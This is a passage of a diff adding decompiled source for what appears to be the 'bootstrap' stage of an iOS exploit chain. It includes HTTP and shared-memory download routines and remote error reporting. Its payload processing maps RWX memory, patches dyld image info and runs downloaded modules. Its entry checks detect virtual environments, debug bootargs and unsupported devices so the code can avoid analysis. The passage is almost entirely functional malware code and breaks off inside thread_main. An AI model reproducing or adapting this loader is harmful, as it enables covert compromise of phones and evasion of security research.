goto release_stream;
}
CFRunLoopRunInMode(kCFRunLoopDefaultMode, 240.0, false);
CFReadStreamClose(stream);
err = sctx->error;
if (!err) {
uint32_t status = sctx->status_code;
print_log("[bootstrap] http_request: attempt=%u status=%u", attempt, status);
if (status > 399 || !has_output) {
if (status > 399)
err = ERR_HTTP_STATUS;
response_data = NULL;
} else {
CFDataRef body_resp = CFHTTPMessageCopyBody((CFHTTPMessageRef)sctx->response_msg);
if (!body_resp) {
err = ERR_HTTP_EMPTY_BODY;
} else {
response_data = body_resp;
*out_data = (void *)body_resp;
}
}
} else {
print_log("[bootstrap] http_request: attempt=%u stream_err=0x%x", attempt, err);
response_data = NULL;
}
free(sctx);
CFRelease(resp_msg);
release_stream:
CFRelease(stream);
release_all:
CFRelease(req);
CFRelease(cf_url);
CFRelease(scheme);
CFRelease(method_str);
if (ua_hdr_key) CFRelease(ua_hdr_key);
release_round:
if (ct_hdr_key) CFRelease(ct_hdr_key);
if (!err || attempt >= 6)
break;
}
/* Process final response data */
if (!err && response_data && has_output) {
CFIndex len = CFDataGetLength(response_data);
if (!len) {
err = ERR_HTTP_ZERO_LEN;
} else {
const uint8_t *bytes = CFDataGetBytePtr(response_data);
if (!bytes) {
err = ERR_HTTP_NO_RESP;
} else {
void *copy = malloc((size_t)len);
if (!copy) {
err = ERR_GENERIC;
} else {
memcpy(copy, bytes, (size_t)len);
*out_data = copy;
*out_size = (uint32_t)len;
print_log("[bootstrap] http_request: OK response_size=%ld", (long)len);
}
}
}
}
cleanup_early:
if (url_str) CFRelease(url_str);
if (ua_str) CFRelease(ua_str);
if (ct_str) CFRelease(ct_str);
if (body_data) CFRelease(body_data);
if (response_data) CFRelease(response_data);
if (err)
print_log("[bootstrap] http_request: FAIL err=0x%x", err);
return err;
}
+357
View File
@@ -0,0 +1,357 @@
/*
* logging.m - Logging, reporting, and shared memory IPC
*
* Decompiled from bootstrap.dylib offsets 0x9300-0x9b5c
*/
#import "bootstrap.h"
#import <string.h>
#import <stdlib.h>
#import <stdarg.h>
#import <stdio.h>
#import <strings.h>
extern int thread_switch(mach_port_name_t, int, mach_msg_timeout_t);
void print_log(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
vdprintf(1, fmt, ap);
dprintf(1, "\n");
va_end(ap);
}
/* ── format_string (0x9a34) ────────────────────────────────────── */
uint32_t format_string(void **out_ptr, uint32_t *out_size,
const char *fmt, ...)
{
uint32_t err = ERR_NULL_CTX;
if (!out_ptr || !out_size || !fmt)
return err;
va_list ap;
va_start(ap, fmt);
int needed = vsnprintf(NULL, 0, fmt, ap);
va_end(ap);
if (needed < 1) {
*out_ptr = NULL;
*out_size = 0;
return ERR_NULL_CTX + 0x13;
}
uint32_t alloc_size = (uint32_t)needed + 1;
char *buf = (char *)malloc(alloc_size);
if (!buf) {
return ERR_NULL_CTX + 0x8;
}
va_list ap2;
va_start(ap2, fmt);
int written = vsnprintf(buf, alloc_size, fmt, ap2);
va_end(ap2);
if (written > needed) {
bzero(buf, alloc_size);
free(buf);
*out_ptr = NULL;
*out_size = 0;
return ERR_NULL_CTX + 0xA;
}
buf[needed] = '\0';
*out_ptr = buf;
*out_size = written;
return 0;
}
/* ── format_log_entry (0x94b4) ─────────────────────────────────── */
uint32_t format_log_entry(void **out_ptr, uint32_t *out_size,
const char *fmt, ...)
{
void *inner = NULL;
uint32_t inner_size = 0;
uint32_t err;
if (fmt) {
va_list ap;
va_start(ap, fmt);
err = format_string(&inner, &inner_size, fmt, ap);
va_end(ap);
} else {
va_list ap;
va_start(ap, fmt);
err = format_string(&inner, &inner_size, fmt, ap);
va_end(ap);
}
if (err)
return err;
err = format_string(out_ptr, out_size,
"{\"cmd\":\"logmsg\",\"args\":{\"msg\":\"%s\"}}",
inner);
bzero(inner, inner_size);
free(inner);
return err;
}
/* ── send_log (0x9300) ─────────────────────────────────────────── */
uint32_t send_log(bootstrap_ctx_t *ctx, const char *url,
void **out_data, uint32_t *out_size)
{
uint32_t err = ERR_NULL_CTX;
if (!ctx || !url)
return err;
if (!url[0] || !out_data || !out_size)
return err;
print_log("[bootstrap] send_log: url=%s shmem=%p", url, ctx->shared_memory);
if (ctx->shared_memory) {
return shared_mem_download(ctx, url, NULL, 60000,
out_data, out_size);
}
char *ua = (char *)ctx->user_agent;
return http_request(url, ua, NULL, NULL,
out_data, out_size);
}
/* ── format_and_send (0x9398) ──────────────────────────────────── */
uint32_t format_and_send(const char *url, const char *ua,
const char *body_fmt, ...)
{
void *body_data = NULL;
uint32_t body_size = 0;
if (!url || !url[0])
return 0;
if (strncmp(url, "http://", 7) != 0 &&
strncmp(url, "https://", 8) != 0) {
return ERR_NULL_CTX + 0x13;
}
va_list ap;
va_start(ap, body_fmt);
uint32_t err = format_string(&body_data, &body_size, body_fmt, ap);
va_end(ap);
if (err)
return err;
print_log("[bootstrap] format_and_send: url=%s body_size=%u", url, body_size);
err = http_request(url, ua, "application/json",
(const char *)body_data, NULL, NULL);
bzero(body_data, body_size);
free(body_data);
return err;
}
/* ── send_report (0x9580) ──────────────────────────────────────── */
uint32_t send_report(bootstrap_ctx_t *ctx, uint32_t error,
const char *filename, uint32_t line)
{
uint32_t err = ERR_NULL_CTX;
if (!ctx)
return err;
print_log("[bootstrap] send_report: error=0x%x file=%s line=%u", error, filename ? filename : "(null)", line);
void *report_data = NULL;
uint32_t report_size = 0;
void *response_data = NULL;
uint32_t response_size = 0;
if (ctx->shared_memory) {
char *alt_url = ctx->alt_url;
if (!alt_url || !alt_url[0])
return 0;
if (strncmp(alt_url, "http://", 7) != 0 &&
strncmp(alt_url, "https://", 8) != 0) {
return err + 0x13;
}
err = format_log_entry(&report_data, &report_size,
filename ?
"{\"e\":%u,\"f\":\"%s\",\"l\":%u}" :
"{\"e\":%u,\"l\":%u}",
error, filename, line);
if (err)
return err;
err = shared_mem_download(ctx, alt_url,
(const char *)report_data, 5000,
&response_data, &response_size);
if (err == 0x3012)
err = 0;
if (!err && response_data) {
bzero(response_data, response_size);
free(response_data);
response_data = NULL;
}
bzero(report_data, report_size);
free(report_data);
return err;
}
char *ua = (char *)ctx->user_agent;
char *alt = ctx->alt_url;
return format_and_send(alt, ua,
filename ?
"{\"e\":%u,\"f\":\"%s\",\"l\":%u}" :
"{\"e\":%u,\"l\":%u}",
error, filename, line);
}
/* ── init_communication (0x96f8) ───────────────────────────────── */
uint32_t init_communication(bootstrap_ctx_t *ctx)
{
if (!ctx)
return ERR_NULL_CTX;
print_log("[bootstrap] init_communication: shmem=%p", ctx->shared_memory);
ctx->download_func = (fn_download_t)send_log;
ctx->log_func = (fn_log_t)send_report;
if (!ctx->shared_memory)
return 0;
kern_return_t kr = semaphore_create(mach_task_self(), &ctx->semaphore,
0, 1);
if (kr) {
print_log("[bootstrap] init_communication: semaphore_create FAIL kr=0x%x", kr);
return 0x80000000 | kr;
}
print_log("[bootstrap] init_communication: OK semaphore=%u", ctx->semaphore);
return 0;
}
/* ── shared_mem_download (0x987c) ──────────────────────────────── */
uint32_t shared_mem_download(bootstrap_ctx_t *ctx, const char *url,
const char *body, uint32_t timeout,
void **out_data, uint32_t *out_size)
{
uint32_t err = ERR_NULL_CTX;
if (!out_data || !out_size)
return err;
*out_data = NULL;
*out_size = 0;
print_log("[bootstrap] shared_mem_download: url=%s timeout=%u body=%s", url, timeout, body ? "yes" : "no");
if (semaphore_wait(ctx->semaphore)) {
print_log("[bootstrap] shared_mem_download: semaphore_wait FAIL");
return ERR_TIMEOUT;
}
if (!timeout)
goto done_timeout;
uint32_t remaining = timeout;
uint8_t *shmem = (uint8_t *)ctx->shared_memory;
while (remaining > 0) {
uint32_t state = *(uint32_t *)shmem;
if (state == 0)
goto write_request;
if (state == 5)
goto wait_response;
thread_switch(0, 2, 1);
remaining--;
}
goto done_timeout;
write_request:
strncpy((char *)(shmem + 4), url, 0x7FFFFC);
shmem[0x7FFFFF] = '\0';
if (body) {
strncpy((char *)(shmem + 0x800000), body, 0x800000);
shmem[0xFFFFFF] = '\0';
*(uint32_t *)shmem = 7;
} else {
*(uint32_t *)shmem = 1;
}
wait_response:
{
uint8_t *shmem2 = (uint8_t *)ctx->shared_memory;
uint32_t state;
while (timeout > 0) {
state = *(uint32_t *)shmem2;
if ((state - 3) < 2)
goto got_response;
thread_switch(0, 2, 1);
timeout--;
}
*(uint32_t *)shmem2 = 0;
err = ERR_TIMEOUT;
goto signal_done;
got_response:
*(uint32_t *)shmem2 = 0;
if (state != 3) {
goto signal_done_ok;
}
uint32_t resp_size = *(uint32_t *)(shmem2 + 4);
if (!resp_size) {
err = 0x3012;
goto signal_done;
}
void *copy = malloc(resp_size);
if (!copy) {
err += 0x8;
goto signal_done;
}
memcpy(copy, shmem2 + 8, resp_size);
err = 0;
*out_data = copy;
*out_size = resp_size;
print_log("[bootstrap] shared_mem_download: got response size=%u", resp_size);
goto signal_done;
}
signal_done_ok:
err = 0x3012;
signal_done:
*(uint32_t *)((uint8_t *)ctx->shared_memory) = 0;
semaphore_signal(ctx->semaphore);
return err;
done_timeout:
*(uint32_t *)((uint8_t *)ctx->shared_memory) = 0;
err = ERR_TIMEOUT;
print_log("[bootstrap] shared_mem_download: TIMEOUT");
semaphore_signal(ctx->semaphore);
return err;
}
+816
View File
@@ -0,0 +1,816 @@
/*
* main.m - Entry point, thread management, payload processing
*
* Decompiled from bootstrap.dylib offsets 0x5fec-0x6fe8
*/
#import "bootstrap.h"
#import <string.h>
#import <stdlib.h>
#import <pthread.h>
#import <signal.h>
#import <sys/mman.h>
#import <sys/sysctl.h>
#import <mach/mach.h>
@import Darwin;
@import UIKit;
extern int sysctlbyname(const char *, void *, size_t *, void *, size_t);
extern void _exit(int);
extern int *__error(void);
/* ── process_payload (0x5fec) ──────────────────────────────────── */
/* Main payload processing function. Downloads, decrypts, and loads
* the payload module via the bootstrap context.
*
* High-level flow:
* 1. If logging enabled, report start
* 2. Call ctx->download_func to get payload data
* 3. Validate and decompress the data
* 4. Parse as F00DBEEF container
* 5. Download additional components via download_and_process
* 6. Store container data and configure memory regions
* 7. On flag_a/flag_new_ios: load and run module, setup mmap
* 8. On direct mode: resolve containers, find _start, execute
*/
uint32_t process_payload(bootstrap_ctx_t *ctx, const char *url,
uint32_t unused, uint32_t *result)
{
void *dl_data = NULL;
uint32_t dl_size = 0;
void *decrypted = NULL;
uint32_t w23 = 0x730C4C0E; /* logging constant */
(void)unused;
if (!ctx)
return 0;
print_log("[bootstrap] process_payload: url=%s logging=%d", url, ctx->logging_enabled);
/* Report start if logging is enabled */
if (ctx->logging_enabled && ctx->log_func) {
ctx->log_func(ctx, ERR_NULL_CTX + 0x1F000, NULL,
w23 | 0x1F0);
}
/* Download payload data */
print_log("[bootstrap] process_payload: downloading payload...");
uint32_t err = ((fn_download_t)ctx->download_func)(
ctx, url, &dl_data, &dl_size);
if (err) {
print_log("[bootstrap] process_payload: download FAIL err=0x%x", err);
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, err, NULL, w23 + 0x1E7);
return err;
}
print_log("[bootstrap] process_payload: download OK size=%u", dl_size);
/* Validate response */
if (!dl_data) {
err = ERR_NULL_CTX;
print_log("[bootstrap] process_payload: dl_data is NULL");
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, ERR_NULL_CTX, NULL, w23 + 0x1DF);
goto decompress;
}
if (dl_size < 4) {
err = ERR_NULL_CTX;
print_log("[bootstrap] process_payload: dl_size too small (%u)", dl_size);
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, ERR_NULL_CTX, NULL, w23 + 0x1DF);
goto decompress;
}
/* Decompress if needed (via ctx->key_ptr) */
void *decompress_out = NULL;
uint32_t decompress_size = 0;
decompress:
if (err) {
print_log("[bootstrap] process_payload: decompress phase err=0x%x", err);
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, err, NULL, w23 + 0x1CD);
return err;
}
/* Report successful decompress */
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, 0xC0002, NULL, w23 + 0x1C9);
/* Parse payload as container */
print_log("[bootstrap] process_payload: parsing container...");
fn_parse_container_t parse = ctx->fn_parse_container;
err = parse(ctx, CONTAINER_TYPE_PAYLOAD, dl_data, dl_size);
if (err) {
print_log("[bootstrap] process_payload: parse_container FAIL err=0x%x", err);
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, err, NULL, w23 + 0x1B9);
return err;
}
/* Download and process additional components */
print_log("[bootstrap] process_payload: downloading additional components...");
void *extra_data = NULL;
uint32_t extra_size = 0;
err = download_and_process(ctx, CONTAINER_TYPE_PAYLOAD,
&extra_data, &extra_size);
if (err) {
print_log("[bootstrap] process_payload: download_and_process FAIL err=0x%x", err);
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, err, NULL, w23 + 0x2C);
return err;
}
/* Store container data pointers */
ctx->container_data = extra_data;
ctx->container_size = extra_size;
print_log("[bootstrap] process_payload: container data stored size=%u", extra_size);
/* Report successful load */
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, 0xC0002 | 1, NULL, w23 + 0x10);
/* Check operational mode */
print_log("[bootstrap] process_payload: flag_a=%d flag_new_ios=%d", ctx->flag_a, ctx->flag_new_ios);
if (!ctx->flag_a && !ctx->flag_new_ios)
goto direct_mode;
/* Check if A15-specific features needed */
if (ctx->flag_a15_features && ctx->is_sandboxed)
goto load_module;
load_module:
/* Set ready flag */
ctx->flag_ready = 1;
print_log("[bootstrap] process_payload: entering load_module path");
/* Report ready */
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, 0xC0002 | 2, NULL, w23 + 0xD8);
/* Load module via find_or_load */
err = ((fn_find_or_load_t)ctx->fn_find_or_load)(
ctx, CONTAINER_TYPE_MODULE);
if (err) {
print_log("[bootstrap] process_payload: find_or_load FAIL err=0x%x, trying get_pointer", err);
void *module = NULL;
err = ((fn_get_pointer_t)ctx->fn_get_pointer)(
ctx, CONTAINER_TYPE_MODULE, &module);
if (err) {
print_log("[bootstrap] process_payload: get_pointer FAIL err=0x%x", err);
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, err, NULL, w23 + 0xD5);
return err;
}
}
print_log("[bootstrap] process_payload: load_module path OK");
return 0;
direct_mode:
print_log("[bootstrap] process_payload: entering direct_mode path");
/* Direct execution mode — more complex path */
{
/* Get task dyld info to find executable mapping */
mach_msg_type_number_t count = 5;
struct {
uint64_t all_images_addr;
uint64_t all_images_size;
uint8_t _rest[0x18];
} dyld_info;
memset(&dyld_info, 0, sizeof(dyld_info));
stp_zero:
err = task_info(mach_task_self(), 17 /* TASK_DYLD_INFO */,
(task_info_t)&dyld_info, &count);
if (err) {
err |= 0x80000000;
print_log("[bootstrap] process_payload: task_info FAIL err=0x%x", err);
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, err, NULL, w23 + 0xE2);
return err;
}
uint64_t all_images = dyld_info.all_images_addr;
print_log("[bootstrap] process_payload: all_images=0x%llx", all_images);
if (!all_images) {
err = ERR_TASK_INFO;
print_log("[bootstrap] process_payload: all_images is NULL");
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, ERR_TASK_INFO, NULL, w23);
return err;
}
/* Read dyld mapping info */
uint64_t mapping = *(uint64_t *)((uint8_t *)all_images + 0x28);
mapping &= ~1ULL; /* strip tag bit */
print_log("[bootstrap] process_payload: mapping=0x%llx", mapping);
if (!mapping) {
print_log("[bootstrap] process_payload: no mapping, using load_module_wrapper");
/* No existing mapping — use load_module_wrapper */
void *module_handle = NULL;
err = load_module_wrapper(ctx, &module_handle);
if (err)
goto check_err;
/* Call module init */
void *init_result = NULL;
err = module_call_init((module_handle_t *)module_handle,
0, &init_result);
if (err)
goto close_module;
/* Call module command 0xD */
print_log("[bootstrap] process_payload: calling module cmd 0xD");
err = module_call_cmd((module_handle_t *)module_handle,
init_result, 0xD, NULL);
/* Cleanup */
module_call_cleanup((module_handle_t *)module_handle,
init_result);
close_module:
close_module(ctx, (module_handle_t *)module_handle);
check_err:
if (err == ERR_NO_CONTAINER) {
print_log("[bootstrap] process_payload: no loader container, falling back to load_module");
goto load_module;
}
if (err)
goto report_and_done;
/* Setup mmap region */
print_log("[bootstrap] process_payload: setting up mmap region (16MB RWX)");
void *map = mmap(NULL, 0x1000000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_ANON | MAP_PRIVATE, -1, 0);
if (map == MAP_FAILED) {
print_log("[bootstrap] process_payload: mmap FAILED");
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, ERR_MMAP_FAIL, NULL,
w23 + 0x94);
return ERR_MMAP_FAIL;
}
print_log("[bootstrap] process_payload: mmap OK addr=%p", map);
ctx->atomic_state = NULL;
ctx->exec_base = (uint8_t *)map;
ctx->exec_size = 0x1000000;
ctx->buffer_remaining = 0;
memset(&ctx->mmap_base, 0, 16);
/* Store mapping in dyld info */
uint64_t tag = *(uint64_t *)((uint8_t *)all_images + 0x28);
tag = (tag & 1) | (uintptr_t)map;
*(uint64_t *)((uint8_t *)all_images + 0x28) = tag;
goto load_module;
}
/* Have existing mapping — setup for container loading */
{
print_log("[bootstrap] process_payload: have existing mapping, loading data container");
/* Download data container */
void *data_dl = NULL;
uint32_t data_sz = 0;
fn_get_raw_data_t get_raw = ctx->fn_get_raw_data;
err = get_raw(ctx, CONTAINER_TYPE_DATA, &data_dl, &data_sz);
if (err) {
print_log("[bootstrap] process_payload: get_raw_data FAIL err=0x%x", err);
goto container_error;
}
/* Load module */
void *module_handle = NULL;
err = load_module(ctx, ERR_NULL_CTX - 0x1D000,
&module_handle);
if (err) {
print_log("[bootstrap] process_payload: load_module FAIL err=0x%x", err);
goto container_error;
}
/* Call init */
void *init_result = NULL;
err = module_call_init((module_handle_t *)module_handle,
0, &init_result);
if (err) {
print_log("[bootstrap] process_payload: module_call_init FAIL err=0x%x", err);
goto container_error;
}
/* Setup task info */
struct {
uint8_t data[0x10];
} task_data;
memset(&task_data, 0, sizeof(task_data));
*(uint32_t *)&task_data = mach_task_self();
/* Send command 0x1B with task info */
print_log("[bootstrap] process_payload: calling module cmd 0xC000001B");
err = module_call_cmd((module_handle_t *)module_handle,
init_result, 0xC000001B, &task_data);
if (err) {
print_log("[bootstrap] process_payload: cmd 0xC000001B FAIL err=0x%x", err);
goto container_error;
}
/* Check response flags */
if (!((uint8_t *)&task_data)[6] ||
!((uint8_t *)&task_data)[5]) {
((uint8_t *)&task_data)[5] = 1;
((uint8_t *)&task_data)[6] = 1;
print_log("[bootstrap] process_payload: calling module cmd 0x4000001B");
err = module_call_cmd((module_handle_t *)module_handle,
init_result, 0x4000001B, &task_data);
if (err) {
print_log("[bootstrap] process_payload: cmd 0x4000001B FAIL err=0x%x", err);
goto container_error;
}
}
/* Command 0xD */
print_log("[bootstrap] process_payload: calling module cmd 0xD");
err = module_call_cmd((module_handle_t *)module_handle,
init_result, 0xD, NULL);
if (err) {
print_log("[bootstrap] process_payload: cmd 0xD FAIL err=0x%x", err);
goto container_error;
}
container_error:
if (err) {
print_log("[bootstrap] process_payload: container_error path, trying mmap fallback");
/* Try alternate path with vm_allocate */
void *new_map = mmap(NULL, 0x1000000,
PROT_READ | PROT_WRITE,
MAP_ANON | MAP_PRIVATE, -1, 0);
if (new_map == MAP_FAILED) {
err = (*(int *)__error());
if (err < 0) err = -err;
err |= 0x40000000;
print_log("[bootstrap] process_payload: fallback mmap FAILED err=0x%x", err);
goto cleanup_module;
}
print_log("[bootstrap] process_payload: fallback mmap OK addr=%p", new_map);
/* Allocate VM region */
vm_address_t vm_addr = 0;
err = vm_allocate(mach_task_self(), &vm_addr,
0x1000000, VM_FLAGS_ANYWHERE);
if (err) {
print_log("[bootstrap] process_payload: vm_allocate FAIL err=0x%x", err);
goto vm_error;
}
print_log("[bootstrap] process_payload: vm_allocate OK addr=0x%lx", (unsigned long)vm_addr);
/* Store address and copy data */
*(uint64_t *)new_map = vm_addr;
extern vm_size_t vm_page_size;
memcpy((uint8_t *)new_map + vm_page_size,
data_dl, data_sz);
/* Set protection to RWX */
err = vm_protect(mach_task_self(), (vm_address_t)new_map,
0x1000000, 0,
VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE);
if (err) {
print_log("[bootstrap] process_payload: vm_protect FAIL err=0x%x", err);
goto vm_error;
}
/* Send command 0x26 */
print_log("[bootstrap] process_payload: calling module cmd 0x26");
err = module_call_cmd((module_handle_t *)module_handle,
init_result, 0x26, NULL);
if (err) {
print_log("[bootstrap] process_payload: cmd 0x26 FAIL err=0x%x", err);
goto cleanup_module_with_map;
}
/* Update dyld mapping */
uint64_t *slot = (uint64_t *)((uint8_t *)mapping + 0x28);
uint64_t tag = (*slot) & 1;
*slot = tag | (uintptr_t)new_map;
goto cleanup_module_with_map;
vm_error:
err |= 0x80000000;
cleanup_module_with_map:
mapping = (uint64_t)(uintptr_t)new_map;
}
cleanup_module:
if (module_handle) {
if (init_result)
module_call_cleanup((module_handle_t *)module_handle,
init_result);
close_module(ctx, (module_handle_t *)module_handle);
}
if (err)
goto report_and_done;
/* Configure memory from mapping */
print_log("[bootstrap] process_payload: configuring memory from mapping");
extern vm_size_t vm_page_size;
ctx->exec_base = (uint8_t *)((uintptr_t)decrypted +
vm_page_size + 0x100000);
ctx->exec_size = 0xF00000;
ctx->atomic_state = (uint32_t *)((uintptr_t)decrypted +
0xFFFFFC);
ctx->mmap_base = mapping;
ctx->mmap_secondary = (uint64_t)(uintptr_t)decrypted;
ctx->buffer_remaining = 0;
/* Install function pointers for alloc_buffer etc. */
ctx->fn_alloc_buffer = (fn_alloc_buffer_t)alloc_buffer;
ctx->consume_buf = (fn_consume_buffer_t)consume_buffer;
ctx->bzero_func = (fn_bzero_t)secure_bzero;
ctx->flag_direct_mem = 1;
ctx->flag_ready = 1;
ctx->flag_b = 1;
print_log("[bootstrap] process_payload: direct_mode memory configured, going to load_module");
goto load_module;
}
}
report_and_done:
print_log("[bootstrap] process_payload: report_and_done err=0x%x", err);
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, err, NULL, w23 + 0x75);
return err;
}
/* ── process (0x68d8) ──────────────────────────────────────────── */
/* Exported entry point. Initializes the bootstrap context:
* 1. init_communication
* 2. init_function_table
* 3. init_system_info
* 4. init_sandbox_and_ua
* 5. Validates xnu version range
* 6. Checks virtual environment
* 7. Validates L2 cache / boot args
* 8. Sets up memory regions
* 9. Clones context, spawns worker thread
*/
__attribute__((visibility("default")))
uint32_t process(bootstrap_ctx_t *ctx)
{
// redirect logging to file
struct stat std_out;
struct stat dev_null;
if (fstat(STDOUT_FILENO, &std_out) == 0 &&
stat("/dev/null", &dev_null) == 0 &&
std_out.st_dev == dev_null.st_dev &&
std_out.st_ino == dev_null.st_ino) {
char log_path[PATH_MAX];
snprintf(log_path, PATH_MAX, "%s/bootstrap.log", getenv("TMPDIR"));
int log_fd = open(log_path, O_WRONLY | O_CREAT | O_APPEND, 0644);
if (log_fd >= 0) {
dup2(log_fd, STDOUT_FILENO);
dup2(log_fd, STDERR_FILENO);
close(log_fd);
}
}
uint32_t err = ERR_GENERIC;
if (!ctx)
return err - 8;
/* Sign raw function pointers from exploit chain for arm64e PAC */
sign_ctx_fptrs(ctx);
print_log("[bootstrap] process: entry ctx=%p", ctx);
/* Step 1: Initialize communication (logging, semaphore) */
print_log("[bootstrap] process: step 1 - init_communication");
err = init_communication(ctx);
if (err) {
print_log("[bootstrap] process: init_communication FAIL err=0x%x", err);
return err;
}
/* Step 2: Initialize function table (container management) */
print_log("[bootstrap] process: step 2 - init_function_table");
err = init_function_table(ctx);
if (err) {
print_log("[bootstrap] process: init_function_table FAIL err=0x%x", err);
return err;
}
/* Step 3: Initialize system info (OS version, device type, etc.) */
print_log("[bootstrap] process: step 3 - init_system_info");
err = init_system_info(ctx);
if (err) {
print_log("[bootstrap] process: init_system_info FAIL err=0x%x", err);
return err;
}
/* Step 4: Initialize sandbox detection and user-agent */
print_log("[bootstrap] process: step 4 - init_sandbox_and_ua");
err = init_sandbox_and_ua(ctx);
if (err) {
print_log("[bootstrap] process: init_sandbox_and_ua FAIL err=0x%x", err);
return err;
}
/* Validate xnu version is within expected range */
uint64_t xnu = ctx->xnu_version;
print_log("[bootstrap] process: xnu_version=0x%llx os_version=0x%x", xnu, ctx->os_version);
uint64_t adjusted = xnu + 0xFFE7F6FFF9900000ULL;
err = ERR_GENERIC - 1;
if (adjusted > 0x000F090EFE400003ULL) {
print_log("[bootstrap] process: xnu version out of range");
return err;
}
/* If device is sandboxed, check additional constraints */
if (ctx->is_sandboxed) {
print_log("[bootstrap] process: sandboxed, checking constraints");
uint32_t os_ver = ctx->os_version;
err = 0x27009;
if (os_ver < 0x100000) {
print_log("[bootstrap] process: os_version too low (0x%x)", os_ver);
return err;
}
/* Check CPU type for known SoC families */
if (os_ver > 0x100401) {
uint32_t cpu = ctx->cpu_type;
print_log("[bootstrap] process: checking cpu_type=0x%x", cpu);
if (cpu == SOC_TYPE_A)
goto env_check;
if (cpu == SOC_TYPE_B)
goto env_check;
if (cpu > (int32_t)SOC_TYPE_C) {
if (cpu == SOC_TYPE_E)
goto env_check;
if (cpu == SOC_TYPE_D)
goto env_check;
}
}
}
env_check:
/* Check for virtual environment (Corellium, etc.) */
print_log("[bootstrap] process: checking virtual environment");
{
uint8_t is_virtual = 1;
err = check_virtual_env(&is_virtual);
uint32_t env_err = (is_virtual == 0) ? (ERR_GENERIC + 0x1B) : 0;
if (err)
env_err = ERR_GENERIC + 2;
err = env_err;
if (err) {
print_log("[bootstrap] process: virtual env check FAIL err=0x%x is_virtual=%d", err, is_virtual);
//return err;
}
}
print_log("[bootstrap] process: virtual env check OK");
/* Validate os_version ceiling */
if (ctx->os_version > 0x1102FF) {
print_log("[bootstrap] process: os_version too high (0x%x)", ctx->os_version);
return ERR_GENERIC - 1;
}
/* Check L2 cache size for additional validation */
if (ctx->os_version >= 0xE0000) {
uint64_t l2_size = 0;
size_t l2_len = 8;
int sysret = sysctlbyname("hw.l2cachesize", &l2_size, &l2_len,
NULL, 0);
print_log("[bootstrap] process: l2cachesize=%llu sysret=%d", l2_size, sysret);
uint32_t l2_err = (l2_size >> 20) ? 0 : (ERR_GENERIC + 0x1B);
if (!sysret && l2_size >= 0x100000)
goto check_bootargs;
err = l2_err;
}
check_bootargs:
/* Check kernel boot arguments for debug strings */
print_log("[bootstrap] process: checking bootargs");
{
char bootargs[0x400];
size_t ba_len = 0x400;
memset(bootargs, 0, sizeof(bootargs));
if (sysctlbyname("kern.bootargs", bootargs, &ba_len, NULL, 0) == 0
&& bootargs[0]) {
print_log("[bootstrap] process: bootargs='%s'", bootargs);
if (bootargs[0] != ' ' || bootargs[1] != '\0') {
print_log("[bootstrap] process: bootargs check FAIL");
return ERR_GENERIC + 0x1B;
}
}
}
/* Check host info for iOS 15 and below */
if (ctx->os_version <= 0xF0000) {
mach_msg_type_number_t hi_count = 1;
uint32_t hi_data = 0;
int hi_ret = host_info(mach_host_self(), 11 /* HOST_VM_INFO */,
(host_info_t)&hi_data, &hi_count);
print_log("[bootstrap] process: host_info ret=%d data=0x%x", hi_ret, hi_data);
uint32_t hi_err = (hi_data == 0) ? 0 : (ERR_GENERIC + 0x1B);
if (hi_ret)
goto setup_mem;
err = hi_err;
if (err) {
print_log("[bootstrap] process: host_info check FAIL err=0x%x", err);
return err;
}
}
setup_mem:
/* Setup memory regions */
print_log("[bootstrap] process: step 5 - setup_memory");
err = setup_memory(ctx);
if (err) {
print_log("[bootstrap] process: setup_memory FAIL err=0x%x", err);
return err;
}
/* Clone context for worker thread */
print_log("[bootstrap] process: cloning context for worker thread");
bootstrap_ctx_t *clone = (bootstrap_ctx_t *)malloc(sizeof(bootstrap_ctx_t));
if (!clone)
goto fail;
memcpy(clone, ctx, sizeof(bootstrap_ctx_t));
/* Duplicate heap-allocated strings */
if (clone->secondary_url) {
clone->secondary_url = strdup(clone->secondary_url);
if (!clone->secondary_url)
goto fail;
}
if (clone->key_ptr) {
uint8_t *new_key = (uint8_t *)malloc(0x20);
if (!new_key)
goto fail;
memcpy(new_key, clone->key_ptr, 0x20);
clone->key_ptr = new_key;
}
if (clone->base_url) {
clone->base_url = strdup(clone->base_url);
if (!clone->base_url)
goto fail;
}
if (clone->user_agent) {
clone->user_agent = strdup(clone->user_agent);
if (!clone->user_agent)
goto fail;
}
if (clone->alt_url) {
clone->alt_url = strdup(clone->alt_url);
if (!clone->alt_url)
goto fail;
}
/* Create worker thread */
print_log("[bootstrap] process: creating worker thread");
{
uint32_t thread_err = ERR_NULL_CTX + 0x10000;
pthread_attr_t attr;
if (pthread_attr_init(&attr))
goto fail;
if (pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED)) {
pthread_attr_destroy(&attr);
goto fail;
}
pthread_t thread;
if (pthread_create(&thread, &attr, (void *(*)(void *))thread_main, clone) == 0) {
thread_err = 1; /* success sentinel */
print_log("[bootstrap] process: worker thread created OK");
} else {
thread_err++;
print_log("[bootstrap] process: pthread_create FAILED");
}
pthread_attr_destroy(&attr);
return thread_err;
}
fail:
print_log("[bootstrap] process: FAIL (alloc error)");
return ERR_NULL_CTX + 0x10000;
}
/* ── thread_main (0x6c44) ──────────────────────────────────────── */
/* Worker thread entry point. Sets up SIGSEGV handler for PAC faults,
* creates a UIApplication background task, calls process_payload,
* then cleans up.
*/
void *thread_main(bootstrap_ctx_t *ctx)
{
uint32_t err = ERR_GENERIC;
uint32_t result = err - 9; /* = ERR_NULL_CTX */
int sig_installed = 0;
print_log("[bootstrap] thread_main: entry ctx=%p", ctx);
